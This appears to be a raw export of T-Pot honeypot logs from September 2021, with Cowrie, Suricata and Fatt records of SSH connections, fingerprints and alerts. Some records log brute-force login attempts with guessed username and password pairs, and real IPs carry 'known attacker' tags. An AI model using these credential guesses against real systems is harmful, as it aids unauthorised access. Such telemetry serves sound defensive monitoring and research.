"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36910, "dest_port": 22, "timestamp": "2021-09-20T11:36:31.214564", "@timestamp": "2021-09-20T11:36:31.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30580	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:36:32.278288+03	2021-09-20 14:45:03.349143+03	{"_id": "ogb-AnwBvYTbRNuETD0w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [sk/12345] failed", "session": "7cfff7edf467", "@version": "1", "password": "12345", "username": "sk", "timestamp": "2021-09-20T11:36:32.278288Z", "@timestamp": "2021-09-20T11:36:32.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30581	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:36:33.533687+03	2021-09-20 14:45:03.350142+03	{"_id": "pAb-AnwBvYTbRNuEVD0B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7cfff7edf467", "@version": "1", "duration": 2.583555221557617, "timestamp": "2021-09-20T11:36:33.533687Z", "@timestamp": "2021-09-20T11:36:33.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30582	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:36:25.789603+03	2021-09-20 14:45:03.351142+03	{"_id": "jQb-AnwBvYTbRNuEMj1_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64443, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2130063029505123, "@version": "1", "in_iface": "enp5s0", "src_port": 44025, "dest_port": 53, "timestamp": "2021-09-20T11:36:25.789603Z", "@timestamp": "2021-09-20T11:36:25.789Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30583	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:36:25.887663+03	2021-09-20 14:45:03.353142+03	{"_id": "jgb-AnwBvYTbRNuEMz2N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35426, "timestamp": "2021-09-20T11:36:25.887663", "@timestamp": "2021-09-20T11:36:25.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30584	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:36:04.867982+03	2021-09-20 14:45:03.354141+03	{"_id": "dgb9AnwBvYTbRNuE4j2s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "d8600d2f467a", "@version": "1", "duration": 5.468595743179321, "timestamp": "2021-09-20T11:36:04.867982Z", "@timestamp": "2021-09-20T11:36:04.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30585	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:37:04.700467+03	2021-09-20 14:45:03.356142+03	{"_id": "_gb-AnwBvYTbRNuEyj3n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 97042409977858, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48209, "dest_port": 22, "timestamp": "2021-09-20T11:37:04.700467Z", "@timestamp": "2021-09-20T11:37:04.700Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30586	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:04.417567+03	2021-09-20 14:45:03.357142+03	{"_id": "AAb-AnwBvYTbRNuEyz73", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48209, "timestamp": "2021-09-20T11:37:04.417567", "@timestamp": "2021-09-20T11:37:04.417Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30587	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:37:05.885424+03	2021-09-20 14:45:03.358141+03	{"_id": "CAb-AnwBvYTbRNuEzj7Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:37:05.087260+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1063289792582876, "payload": "AAADzAYU4S2WJqHJsYpIF+9lMVGkMgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52918, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:37:05.885424Z", "@timestamp": "2021-09-20T11:37:05.885Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......-.&....H..e1Q.2...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30588	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:05.795354+03	2021-09-20 14:45:03.360143+03	{"_id": "CQb-AnwBvYTbRNuEzz7f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52918, "timestamp": "2021-09-20T11:37:05.795354", "@timestamp": "2021-09-20T11:37:05.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30589	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:37:08.043968+03	2021-09-20 14:45:03.361142+03	{"_id": "Egb-AnwBvYTbRNuE2D7i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5640fb638fc4", "@version": "1", "duration": 2.389629602432251, "timestamp": "2021-09-20T11:37:08.043968Z", "@timestamp": "2021-09-20T11:37:08.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30590	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:37:08.608235+03	2021-09-20 14:45:03.363143+03	{"_id": "FAb-AnwBvYTbRNuE2j6K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:08.608235+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "42.192.47.188", "flow_id": 991909583800299, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 55918, "timestamp": "2021-09-20T11:37:08.608235Z", "@timestamp": "2021-09-20T11:37:08.608Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30591	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:08.955623+03	2021-09-20 14:45:03.364187+03	{"_id": "FQb-AnwBvYTbRNuE2z6Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.105.80.34", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36854, "timestamp": "2021-09-20T11:37:08.955623", "@timestamp": "2021-09-20T11:37:08.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30592	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:37:08.950541+03	2021-09-20 14:45:03.366142+03	{"_id": "Gwb-AnwBvYTbRNuE3D7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:36854 (192.168.176.2:22) [session: cc220a589856]", "session": "cc220a589856", "@version": "1", "protocol": "ssh", "src_port": 36854, "dest_port": 22, "timestamp": "2021-09-20T11:37:08.950541Z", "@timestamp": "2021-09-20T11:37:08.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30593	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:37:08.831051+03	2021-09-20 14:45:03.367142+03	{"_id": "HAb-AnwBvYTbRNuE3D7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/4242] failed", "session": "c06a17978608", "@version": "1", "password": "4242", "username": "root", "timestamp": "2021-09-20T11:37:08.831051Z", "@timestamp": "2021-09-20T11:37:08.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30594	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:37:08.953539+03	2021-09-20 14:45:03.368142+03	{"_id": "HQb-AnwBvYTbRNuE3D7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "cc220a589856", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:08.953539Z", "@timestamp": "2021-09-20T11:37:08.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30595	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:37:09.235696+03	2021-09-20 14:45:03.369143+03	{"_id": "Hgb-AnwBvYTbRNuE3D7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "cc220a589856", "@version": "1", "timestamp": "2021-09-20T11:37:09.235696Z", "@timestamp": "2021-09-20T11:37:09.235Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
